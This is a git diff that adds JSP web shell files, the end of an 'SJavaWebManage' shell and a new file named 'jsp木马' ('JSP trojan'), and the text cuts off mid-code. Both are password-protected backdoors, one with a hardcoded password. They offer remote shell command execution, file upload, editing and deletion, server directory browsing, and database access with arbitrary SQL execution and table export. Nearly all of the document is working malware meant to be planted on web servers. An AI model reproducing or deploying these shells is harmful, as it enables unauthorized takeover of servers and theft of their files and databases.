weblogic + webRootPath = Util.formatPath(this.getClass().getClassLoader().getResource("/").getPath()); + webRootPath = webRootPath.substring(0,webRootPath.indexOf("/WEB-INF")); + webRootPath=webRootPath.substring(0,webRootPath.lastIndexOf("/")); +} else { + webRootPath = application.getRealPath("/"); +} +webRootPath=Util.formatPath(webRootPath); +final String shellDir=webRootPath+request.getContextPath(); + +String m=Util.getRequestStringVal(request, "m"); +if(Util.isEmpty(m)){ + m="FileManage"; +} +//登录密码验证 + +if("Login".equals(m)){ + String dow=Util.getRequestStringVal(request, "do"); + if(Util.isEmpty(dow)){ + %> + + + + + +Powered By SJavaWebManage + + + + + + +
                            +
                            + 请输入密码: +
                            + <% +String info=Util.getRequestStringVal(request, "info"); +if("false".equals(info)){ + Util.print(out,2,"密码错误,嘎嘎!"); +} +%> +
                            +
                            + Copyright (c) 2014 http://www.shack2.org + All Rights Reserved| coded by shack2 QQ:1341413415| Powered By + SJavaWebManage| version:<%=VERSION%>  新版本:
                            + + +<% + } + if("DoLogin".equals(dow)){ + String pass=Util.getRequestStringVal(request, "pass"); + + if(PASS.equals(Util.get32Md5(pass).toLowerCase())){ + session.setAttribute("isLogin", "true"); + response.sendRedirect(shellPath+"?m=FileManage"); + } + else{ + response.sendRedirect(shellPath+"?m=Login&info=false"); + } + } + //阻止下面的内容输出 + return; +} +else{ + + //登录状态验证 + String isLogin=session.getAttribute("isLogin")+""; + if(!"true".equals(isLogin)){ + response.sendRedirect(shellPath+"?m=Login"); + } +} +%> + + + + + + + + +
                            + +
                            + Web:localhost:8000 主机IP:192.168.11.11 |Java WebManage coded by shack2 + | http://www.shack2.org | version:<%=VERSION%> + ps:本脚本适用于简单的Web管理,为了兼容较低版本JDK,采用JDK1.3开发 +
                            + + + +
                            + <% + if("EnvsInfo".equals(m)){ + %> + +
                            +
                              + <% + Properties ps=System.getProperties(); + Iterator iter=ps.keySet().iterator(); + while (iter.hasNext()) { + String key=iter.next()+""; + out.print("
                            • "+key+"  "+ps.getProperty(key)+"
                            • "); + } + %> + +
                            +
                            + <% + } + %> + + <% + //文件管理 + if("FileManage".equals(m)){ + String dow=Util.getRequestStringVal(request, "do"); + String path=Util.getRequestStringVal(request, "path"); + if("upload".equals(dow)){ + if(!Util.isEmpty(path)){ + UploadFile.uploadFile(request.getInputStream(), PAGE_ENCODING,Integer.parseInt(request.getHeader("Content-Length")),path); + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + if("newFile".equals(dow)){ + if(!Util.isEmpty(path)){ + String isDir=Util.getRequestStringVal(request, "isDir"); + String fname=Util.getRequestStringVal(request, "fileName"); + FileUtil.newFile(path+"/"+fname,isDir); + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + else if("packFiles".equals(dow)){ + if(!Util.isEmpty(path)){ + String files=Util.getRequestStringVal(request, "files"); + String zipName=Util.getRequestStringVal(request, "zipName"); + String toPath=""; + if(Util.isEmpty(files)){ + File f=new File(path); + ZipUtils.createZip(path, Util.formatPath(f.getParent())+"/"+zipName+".zip"); + } + else{ + //打包多个文件 + toPath=path; + ZipUtils.createZip(files, path+"/"+zipName+".zip"); + } + + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + else if("editFile".equals(dow)){ + String encoding=Util.getRequestStringVal(request, "encode"); + String result=""; + String msg=""; + String content=Util.getRequestStringVal(request, "content"); + if(!Util.isEmpty(content)){ + msg=FileUtil.writeTextToFile(content, path, encoding); + result=content; + } + else{ + result=FileUtil.readFileToString(path,encoding); + } + %> +
                            +
                            + +
                            + <%=msg %> + +
                            + + +
                            + +
                            +
                            +
                            + <% + } + else if("delete".equals(dow)){ + if(!Util.isEmpty(path)){ + File f=new File(path); + String ppath=Util.formatPath(f.getParent()); + + //删除多个 + String files=Util.getRequestStringVal(request, "files"); + if(!Util.isEmpty(files)){ + String[] filesarry=files.split(","); + for(int i=0;ipost('"+shellPath+"',{'m':'FileManage','dir':'"+ppath+"'});"); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + + } + else if("downFile".equals(dow)){ + if(!Util.isEmpty(path)){ + File f=new File(path); + FileUtil.downLoadFile(response, path); + } + + } + else if(Util.isEmpty(dow)){ + int dirCount=0; + int fCount=0; + String dir=Util.getRequestStringVal(request, "dir"); + if(Util.isEmpty(dir)){ + //显示根目录文件列表 + dir=webRootPath; + } + dir=Util.formatPath((dir+"/")); + File f=new File(dir); + %> + +
                            +
                            +
                            +
                            + 当前磁盘路径: +
                            +
                            +
                            +
                            +   文件上传:   + +
                            +
                            + +
                            + <% + File[] rfs=f.listRoots(); + + if(f.exists()){ + for(int i=0;i + 磁盘(<%=cf.getPath() %>) + + <% + } + %> + |Web根目录||新建文件夹||新建文件| +
                            + +
                            +
                            +
                            文件名称
                            +
                            上次修改时间
                            +
                            可读/可写
                            +
                            文件大小
                            +
                               操作
                            +
                            + <% + //显示文件列表 + + File[] fs=f.listFiles(); + + for(int i=0;i + <% + String currentPath=Util.formatPath(dir+cf.getName()); + %> +
                            +
                            + + <%if(cf.isDirectory()){out.print(""+cf.getName()+"");}else{out.print(cf.getName());}%> +
                            +
                            <%=Util.formatDate(cf.lastModified())%>
                            +
                            <%=cf.canRead() %>/<%=cf.canWrite()%>
                            +
                            <%=FileUtil.getFileSize(cf.length())%>
                            +
                            + <%if(cf.isFile()){%>编辑 + <%}%> + <%if(cf.isFile()){%>下载 + <%}%> + + 打包 删除 +
                            +
                            + + <% + } + } + else{ + Util.print(out, 1, dir+"不存在!"); + } + %> +
                            + + +
                            + 全选反选删除选中项打包选中项 总计<%=dirCount %>文件夹,<%=fCount %>个文件 +
                            + +
                            + + + <% + + + } + } + %> + <% + if("CMDS".equals(m)){ + String cmd=Util.getRequestStringVal(request, "cmd"); + String encode=Util.getRequestStringVal(request, "encode"); + String result=""; + if(!Util.isEmpty(cmd)&&!Util.isEmpty(encode)){ + result=Util.execCmd(cmd,encode); + } + %> + + +
                            +
                            + 输入命令: +
                            +
                            <%=result%>
                            +
                            + + <% + } + %> + <% + if("DBManage".equals(m)){ + String dom=Util.getRequestStringVal(request, "do"); + String encode=Util.getRequestStringVal(request, "encode"); + + %> + +
                            +

                            DataBase Manager »

                            + <% + if("connect".equals(dom)){ + String driver=Util.getRequestStringVal(request, "driver"); + String url=Util.getRequestStringVal(request, "url"); + String uid=Util.getRequestStringVal(request, "uid"); + String pwd=Util.getRequestStringVal(request, "pwd"); + String db=Util.getRequestStringVal(request, "mydb"); + DBUtil dbo=null; + try{ + dbo=(DBUtil)session.getAttribute(DBO); + }catch(Exception e){ + Util.print(out, 2, "需要重新连接成功!"); + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 2, "连接信息没有填写完整!"); + } + } + + try{ + if (dbo == null || !((DBUtil)dbo).isValid()) { + if (dbo != null) + ((DBUtil)dbo).close(); + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 2, "连接信息没有填写完整!"); + } + } + else { + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + if(!dbo.notchange(driver, url, uid, pwd)){ + dbo.close(); + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 1, "取出上一次的连接!"); + } + } + else{ + Util.print(out, 1, "取出上一次的连接!"); + } + } + session.setAttribute(DBO,dbo); + }catch(Exception e){ + Util.print(out, 3, "发生了一点错误:"+e.getClass().getName()+": "+e.getMessage()); + } + + } + %> +
                            + + + + + +
                            +
                            +
                            + Driver: + URL: UID: PWD: DataBase: + +
                            +
                            +
                            + <% + DBUtil dbo=null; + try{ + dbo=(DBUtil)session.getAttribute(DBO); + }catch(Exception e){ + session.removeAttribute(DBO); + Util.print(out, 2, "需要重新连接数据库!"); + } + + if(dbo!=null&&dbo.isValid()){ + + %> +
                            +
                            + + 数据库列表: 当前库所有表:<% + out.println(meta.getCatalogSeparator()); + %> + + + +
                            +
                            +

                            自定义SQL执行:

                            +
                            + + +
                            +
                            + + +
                            + + <% + if(!Util.isEmpty(currentDB)&&!Util.isEmpty(currentTable)){ + try { + String loadTableStruct=Util.getRequestStringVal(request, "loadTableStruct"); + String loadTableData=Util.getRequestStringVal(request, "loadTableData"); + String runsql=Util.getRequestStringVal(request, "runsql"); + String runmysql=Util.getRequestStringVal(request, "runmysql"); + if(!Util.isEmpty(loadTableStruct)){ + ResultSet rs = meta.getColumns(currentDB, null,currentTable, null); + ResultSetMetaData rsmeta = rs.getMetaData(); + int count = rsmeta.getColumnCount(); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + while(rs.next()){ + out.println(""); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + } + rs.close(); + } + + if(!Util.isEmpty(loadTableData)){ + runmysql="select * from "+currentTable; + runsql="runsql"; + } + + if(!Util.isEmpty(runsql)){ + dbo.conn.setCatalog(currentDB); + Object obj=dbo.execute(runmysql); + if (obj instanceof ResultSet) { + + ResultSet rs = (ResultSet)obj; + ResultSetMetaData sqlmeta = rs.getMetaData(); + if(!Util.isEmpty(currentDB)){ + + } + int colCount = sqlmeta.getColumnCount(); + out.println(""); + for (int i=1;i<=colCount;i++) { + out.println(""); + } + out.println(""); + + while(rs.next()) { + out.println(""); + for (int i = 1;i<=colCount;i++) { + out.println(""); + } + out.println(""); + } + rs.close(); + } + + } + String exportTableData=Util.getRequestStringVal(request, "exportTableData"); + String downTableData=Util.getRequestStringVal(request, "downTableData"); + String exportDataPath=Util.getRequestStringVal(request, "exportDataPath"); + if (!Util.isEmpty(exportTableData)|| !Util.isEmpty(downTableData)) { + dbo.conn.setCatalog(currentDB); + if (Util.isEmpty(runmysql)) { + runmysql = "select * from " + currentTable; + } + + Object o = dbo.execute(runmysql); + byte[] rowSep = "\r\n".getBytes(); + if (o instanceof ResultSet) { + ResultSet rs = (ResultSet) o; + ResultSetMetaData dmeta = rs.getMetaData(); + int count = dmeta.getColumnCount(); + + BufferedOutputStream output = null; + DataOutputStream dout=null; + FileOutputStream fs=null; + if (!Util.isEmpty(exportDataPath)&& !Util.isEmpty(exportTableData)) { + //exportfile + fs=new FileOutputStream(new File(exportDataPath)); + output = new BufferedOutputStream(fs); + dout=new DataOutputStream(output); + + } else { + out.clear(); + out=pageContext.pushBody(); + //download. + response.setHeader( + "Content-Disposition", + "attachment;filename=DataExport.txt"); + output = new BufferedOutputStream( + response.getOutputStream()); + dout=new DataOutputStream(output); + } + + for (int i = 1; i <= count; i++) { + String colName = dmeta.getColumnName(i)+ "\t"; + byte[] b = null; + if (Util.isEmpty(encode)) { + b = colName.getBytes(); + } else { + b = colName.getBytes(encode); + } + dout.write(b, 0, b.length); + } + + dout.write(rowSep, 0, rowSep.length); + while (rs.next()) { + for (int i = 1; i <= count; i++) { + String v = null; + try { + v = rs.getString(i); + + } catch (Exception ex) { + v = ""; + } + v += "\t"; + + byte[] b = null; + if (Util.isEmpty(encode)) { + b = v.getBytes(); + + } else { + b = v.getBytes(encode); + } + dout.write(b, 0, b.length); + } + dout.write(rowSep, 0, rowSep.length); + } + rs.close(); + if(dout!=null){ + dout.close(); + } + if(output!=null){ + output.close(); + } + if(fs!=null){ + fs.close(); + } + } + } + + } catch (Exception e) { + Util.print(out, 3, e.getMessage()); + } + + } + %> +
                            COLUMN_NAMETYPE_NAMECOLUMN_SIZE
                            "+rs.getString("COLUMN_NAME")+""+rs.getString("TYPE_NAME")+""+rs.getString("COLUMN_SIZE")+"
                            "+sqlmeta.getColumnName(i)+"("+sqlmeta.getColumnTypeName(i)+")
                            "+rs.getString(i)+"
                            +
                            + +
                            + <% + } + %> + +
                            + + <% + } + %> +
                            + +
                            + Copyright (c) 2014-2016 http://www.shack2.org + All Rights Reserved| coded by shack2 | Powered By SJavaWebManage| + 当前版本:<%=VERSION%>
                            +
                            + + + diff --git "a/jsp/jsp\346\234\250\351\251\254.jsp" "b/jsp/jsp\346\234\250\351\251\254.jsp" new file mode 100644 index 0000000..7aba18e --- /dev/null +++ "b/jsp/jsp\346\234\250\351\251\254.jsp" @@ -0,0 +1,1812 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> +<%! +private String _password = "heroes"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement _dbStatement = null; +private String _url = null; + +public boolean validate(String password) { + if (password.equals(_password)) { + return true; + } else { + return false; + } +} + +public String HTMLEncode(String str) { + str = str.replaceAll(" ", " "); + str = str.replaceAll("<", "<"); + str = str.replaceAll(">", ">"); + str = str.replaceAll("\r\n", "
                            "); + + return str; +} + +public String Unicode2GB(String str) { + String sRet = null; + + try { + sRet = new String(str.getBytes("ISO8859_1"), _encodeType); + } catch (Exception e) { + sRet = str; + } + + return sRet; +} + +public String exeCmd(String cmd) { + Runtime runtime = Runtime.getRuntime(); + Process proc = null; + String retStr = ""; + InputStreamReader insReader = null; + char[] tmpBuffer = new char[1024]; + int nRet = 0; + + try { + proc = runtime.exec(cmd); + insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + + while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { + retStr += new String(tmpBuffer, 0, nRet); + } + + insReader.close(); + retStr = HTMLEncode(retStr); + } catch (Exception e) { + retStr = "bad command \"" + cmd + "\""; + } finally { + return retStr; + } +} + +public String pathConvert(String path) { + String sRet = path.replace('\\', '/'); + File file = new File(path); + + if (file.getParent() != null) { + if (file.isDirectory()) { + if (! sRet.endsWith("/")) + sRet += "/"; + } + } else { + if (! sRet.endsWith("/")) + sRet += "/"; + } + + return sRet; +} + +public String strCut(String str, int len) { + String sRet; + + len -= 3; + + if (str.getBytes().length <= len) { + sRet = str; + } else { + try { + sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; + } catch (Exception e) { + sRet = str; + } + } + + return sRet; +} + +public String listFiles(String path, String curUri) { + File[] files = null; + File curFile = null; + String sRet = null; + int n = 0; + boolean isRoot = path.equals(""); + + path = pathConvert(path); + + try { + if (isRoot) { + files = File.listRoots(); + } else { + try { + curFile = new File(path); + String[] sFiles = curFile.list(); + files = new File[sFiles.length]; + + for (n = 0; n < sFiles.length; n ++) { + files[n] = new File(path + sFiles[n]); + } + } catch (Exception e) { + sRet = "bad path \"" + path + "\""; + } + } + + if (sRet == null) { + sRet = "\n"; + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + + if (curFile != null) { + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + } + + sRet += "\n"; + + sRet += " \n"; + + for (n = 0; n < files.length; n ++) { + sRet += " \n"; + + if (! isRoot) { + sRet += " \n"; + if (files[n].isDirectory()) { + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + } + sRet += " \n"; + sRet += "
                            \n"; + sRet += "  上级目录 "; + sRet += "创建目录 "; + sRet += "新建文件 "; + sRet += "删除 "; + sRet += "复制 "; + sRet += "重命名 "; + sRet += "上传文件\n"; + sRet += " \n"; + sRet += "
                            <" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
                            \n"; + } + } catch (SecurityException e) { + sRet = "security violation, no privilege."; + } + + return sRet; +} + +public boolean isTextFile(String extName) { + int i; + boolean bRet = false; + + if (! extName.equals("")) { + for (i = 0; i < _textFileTypes.length; i ++) { + if (extName.equals(_textFileTypes[i])) { + bRet = true; + break; + } + } + } else { + bRet = true; + } + + return bRet; +} + +public String getExtName(String fileName) { + String sRet = ""; + int nLastDotPos; + + fileName = pathConvert(fileName); + + nLastDotPos = fileName.lastIndexOf("."); + + if (nLastDotPos == -1) { + sRet = ""; + } else { + sRet = fileName.substring(nLastDotPos + 1); + } + + return sRet; +} + +public String browseFile(String path) { + String sRet = ""; + File file = null; + FileReader fileReader = null; + + path = pathConvert(path); + + try { + file = new File(path); + fileReader = new FileReader(file); + String fileString = ""; + char[] chBuffer = new char[1024]; + int ret; + + sRet = "\n"; + + } catch (IOException e) { + sRet += "\n"; + } + + return sRet; +} + +public String openFile(String path, String curUri) { + String sRet = ""; + boolean canOpen = false; + int nLastDotPos = path.lastIndexOf("."); + String extName = ""; + String fileString = null; + File curFile = null; + + path = pathConvert(path); + + if (nLastDotPos == -1) { + canOpen = true; + } else { + extName = path.substring(nLastDotPos + 1); + canOpen = isTextFile(extName); + } + + if (canOpen) { + try { + fileString = ""; + curFile = new File(path); + FileReader fileReader = new FileReader(curFile); + char[] chBuffer = new char[1024]; + int nRet; + + while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { + fileString += new String(chBuffer, 0, nRet); + } + + fileReader.close(); + } catch (IOException e) { + fileString = null; + sRet = "不能打开文件\"" + path + "\""; + } catch (SecurityException e) { + fileString = null; + sRet = "安全问题,没有权限执行该操作"; + } + } else { + sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; + } + + if (fileString != null) { + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += "
                            [上级目录]
                            \n"; + sRet += " \n"; + sRet += "
                             
                            \n"; + } + + return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path); + + if (! file.canWrite()) { + sRet = "文件不可写"; + } else { + FileWriter fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + + fileWriter.close(); + sRet = "文件保存成功,正在返回,请稍候……\n"; + sRet += "\n"; + } + } catch (IOException e) { + sRet = "保存文件失败"; + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } + + return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { + String sRet = ""; + File folder = null; + + path = pathConvert(path); + + try { + folder = new File(path + folderName); + + if (folder.exists() && folder.isDirectory()) { + sRet = "\"" + path + folderName + "\"目录已经存在"; + } else { + if (folder.mkdir()) { + sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\",正在返回,请稍候……\n"; + sRet += ""; + } else { + sRet = "创建目录\"" + folderName + "\"失败"; + } + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } + + return sRet; +} + +public String createFile(String path, String curUri, String fileName) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path + fileName); + + if (file.createNewFile()) { + sRet = ""; + } else { + sRet = "\"" + path + fileName + "\"文件已经存在"; + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } catch (IOException e) { + sRet = "创建文件\"" + path + fileName + "\"失败"; + } + + return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { + String sRet = ""; + File tmpFile = null; + + try { + for (int i = 0; i < files2Delete.length; i ++) { + tmpFile = new File(files2Delete[i]); + if (! tmpFile.delete()) { + sRet += "删除\"" + files2Delete[i] + "\"失败
                            \n"; + } + } + + if (sRet.equals("")) { + sRet = "删除成功,正在返回,请稍候……\n"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作\n"; + } + + return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + FileWriter fileWriter = null; + + try { + file = new File(path); + + if (file.createNewFile()) { + fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + fileWriter.close(); + + sRet = ""; + } else { + sRet = "文件\"" + path + "\"已经存在"; + } + } catch (IOException e) { + sRet = "创建文件\"" + path + "\"失败"; + } + + return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { + String sRet = ""; + File file = null; + InputStream in = null; + + path = pathConvert(path); + + try { + in = request.getInputStream(); + + byte[] inBytes = new byte[request.getContentLength()]; + int nBytes; + int start = 0; + int end = 0; + int size = 1024; + String token = null; + String filePath = null; + + // + // 把输入流读入一个字节数组 + // + while ((nBytes = in.read(inBytes, start, size)) != -1) { + start += nBytes; + } + + in.close(); + // + // 从字节数组中得到文件分隔符号 + // + int i = 0; + byte[] seperator; + + while (inBytes[i] != 13) { + i ++; + } + + seperator = new byte[i]; + + for (i = 0; i < seperator.length; i ++) { + seperator[i] = inBytes[i]; + } + + // + // 得到Header部分 + // + String dataHeader = null; + i += 3; + start = i; + while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { + i ++; + } + end = i - 1; + dataHeader = new String(inBytes, start, end - start + 1); + + // + // 得到文件名 + // + token = "filename=\""; + start = dataHeader.indexOf(token) + token.length(); + token = "\""; + end = dataHeader.indexOf(token, start) - 1; + filePath = dataHeader.substring(start, end + 1); + filePath = pathConvert(filePath); + String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + + // + // 得到文件内容开始位置 + // + i += 4; + start = i; + + /* + boolean found = true; + byte[] tmp = new byte[seperator.length]; + while (i <= inBytes.length - 1 - seperator.length) { + + for (int j = i; j < i + seperator.length; j ++) { + if (seperator[j - i] != inBytes[j]) { + found = false; + break; + } else + tmp[j - i] = inBytes[j]; + } + + if (found) + break; + + i ++; + }*/ + + // + // 偷懒的办法 + // + end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + + // + // 保存为文件 + // + File newFile = new File(path + fileName); + newFile.createNewFile(); + FileOutputStream out = new FileOutputStream(newFile); + + //out.write(inBytes, start, end - start + 1); + out.write(inBytes, start, end - start + 1); + out.close(); + + sRet = "\n"; + } catch (IOException e) { + sRet = "\n"; + } + + sRet += ""; + return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { + boolean bRet = true; + + try { + FileInputStream in = new FileInputStream(new File(srcPath)); + FileOutputStream out = new FileOutputStream(new File(dstPath)); + byte[] buffer = new byte[1024]; + int nBytes; + + + while ((nBytes = in.read(buffer, 0, 1024)) != -1) { + out.write(buffer, 0, nBytes); + } + + in.close(); + out.close(); + } catch (IOException e) { + bRet = false; + } + + return bRet; +} + +public String getFileNameByPath(String path) { + String sRet = ""; + + path = pathConvert(path); + + if (path.lastIndexOf("/") != -1) { + sRet = path.substring(path.lastIndexOf("/") + 1); + } else { + sRet = path; + } + + return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { + String sRet = ""; + int i; + + path = pathConvert(path); + dstPath = pathConvert(dstPath); + + for (i = 0; i < files2Copy.length; i ++) { + if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { + sRet += "文件\"" + files2Copy[i] + "\"复制失败
                            "; + } + } + + if (sRet.equals("")) { + sRet = "文件复制成功,正在返回,请稍候……"; + sRet += ""; + } + + return sRet; +} + +public boolean isFileName(String fileName) { + boolean bRet = false; + + Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); + Matcher m = p.matcher(fileName); + + bRet = m.matches(); + + return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { + String sRet = ""; + + path = pathConvert(path); + file2Rename = pathConvert(file2Rename); + + try { + File file = new File(file2Rename); + + newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; + File newFile = new File(newName); + + if (! file.exists()) { + sRet = "文件\"" + file2Rename + "\"不存在"; + } else { + file.renameTo(newFile); + sRet = "文件重命名成功,正在返回,请稍候……"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "安全问题导致文件\"" + file2Rename + "\"复制失败"; + } + + return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { + boolean bRet = true; + String driverName = ""; + + if (dbServer.equals("")) + dbServer = "localhost"; + + try { + if (dbType.equals("sqlserver")) { + driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; + if (dbPort.equals("")) + dbPort = "1433"; + _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("mysql")) { + driverName = "com.mysql.jdbc.Driver"; + if (dbPort.equals("")) + dbPort = "3306"; + _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("odbc")) { + driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; + _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; + } else if (dbType.equals("oracle")) { + driverName = "oracle.jdbc.driver.OracleDriver"; + _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; + } else if (dbType.equals("db2")) { + driverName = "com.ibm.db2.jdbc.app.DB2Driver"; + _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; + } + + Class.forName(driverName); + } catch (ClassNotFoundException e) { + bRet = false; + } + + return bRet; +} + +public boolean DBConnect(String User, String Password) { + boolean bRet = false; + + if (_url != null) { + try { + _dbConnection = DriverManager.getConnection(_url, User, Password); + _dbStatement = _dbConnection.createStatement(); + bRet = true; + } catch (SQLException e) { + bRet = false; + } + } + + return bRet; +} + +public String DBExecute(String sql) { + String sRet = ""; + + if (_dbConnection == null || _dbStatement == null) { + sRet = "数据库没有正常连接"; + } else { + try { + if (sql.toLowerCase().substring(0, 6).equals("select")) { + ResultSet rs = _dbStatement.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + int colNum = rsmd.getColumnCount(); + int colType; + + sRet = "sql语句执行成功,返回结果
                            \n"; + sRet += "\n"; + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + sRet += " \n"; + } + sRet += " \n"; + while (rs.next()) { + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + colType = rsmd.getColumnType(i); + + sRet += " \n"; + } + sRet += " \n"; + } + sRet += "
                            " + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
                            "; + switch (colType) { + case Types.BIGINT: + sRet += rs.getLong(i); + break; + + case Types.BIT: + sRet += rs.getBoolean(i); + break; + + case Types.BOOLEAN: + sRet += rs.getBoolean(i); + break; + + case Types.CHAR: + sRet += rs.getString(i); + break; + + case Types.DATE: + sRet += rs.getDate(i).toString(); + break; + + case Types.DECIMAL: + sRet += rs.getDouble(i); + break; + + case Types.NUMERIC: + sRet += rs.getDouble(i); + break; + + case Types.REAL: + sRet += rs.getDouble(i); + break; + + case Types.DOUBLE: + sRet += rs.getDouble(i); + break; + + case Types.FLOAT: + sRet += rs.getFloat(i); + break; + + case Types.INTEGER: + sRet += rs.getInt(i); + break; + + case Types.TINYINT: + sRet += rs.getShort(i); + break; + + case Types.VARCHAR: + sRet += rs.getString(i); + break; + + case Types.TIME: + sRet += rs.getTime(i).toString(); + break; + + case Types.DATALINK: + sRet += rs.getTimestamp(i).toString(); + break; + } + sRet += "
                            \n"; + + rs.close(); + } else { + if (_dbStatement.execute(sql)) { + sRet = "sql语句执行成功"; + } else { + sRet = "sql语句执行失败"; + } + } + } catch (SQLException e) { + sRet = "sql语句执行失败"; + } + } + + return sRet; +} + +public void DBRelease() { + try { + if (_dbStatement != null) { + _dbStatement.close(); + _dbStatement = null; + } + + if (_dbConnection != null) { + _dbConnection.close(); + _dbConnection = null; + } + } catch (SQLException e) { + + } +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { + private String _jshellContent = null; + private String _path = null; + + public JshellConfig(String path) throws JshellConfigException { + _path = path; + read(); + } + + private void read() throws JshellConfigException { + try { + FileReader jshell = new FileReader(new File(_path)); + char[] buffer = new char[1024]; + int nChars; + _jshellContent = ""; + + while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { + _jshellContent += new String(buffer, 0, nChars); + } + + jshell.close(); + } catch (IOException e) { + throw new JshellConfigException("打开文件失败"); + } + } + + public void save() throws JshellConfigException { + FileWriter jshell = null; + + try { + jshell = new FileWriter(new File(_path)); + char[] buffer = _jshellContent.toCharArray(); + int start = 0; + int size = 1024; + + for (start = 0; start < buffer.length - 1 - size; start += size) { + jshell.write(buffer, start, size); + } + + jshell.write(buffer, start, buffer.length - 1 - start); + } catch (IOException e) { + new JshellConfigException("写文件失败"); + } finally { + try { + jshell.close(); + } catch (IOException e) { + + } + } + } + + public void setPassword(String password) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = p.matcher(password); + + if (! m.matches()) { + throw new JshellConfigException("密码不能有除字母数字下划线以外的字符"); + } + + p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); + m = p.matcher(_jshellContent); + if (! m.find()) { + throw new 